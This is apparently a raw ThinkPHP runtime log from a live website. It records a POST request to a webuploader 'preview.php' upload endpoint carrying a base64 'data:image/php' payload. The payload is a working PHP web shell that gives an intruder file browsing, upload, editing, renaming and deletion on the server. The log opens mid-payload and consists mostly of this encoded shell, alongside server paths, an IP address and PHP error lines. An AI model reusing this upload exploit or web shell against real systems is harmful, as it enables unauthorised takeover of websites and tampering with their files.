2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'lib' => 'webuploader', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:30:58+08:00 ] 116.213.36.234 POST www.51tianwei.com/Public/lib/webuploader/0.1.5/server/preview.php [运行时间:0.003027s] [吞吐率:330.36req/s] [内存消耗:196.80kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'Public', 2 => 'lib', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgIC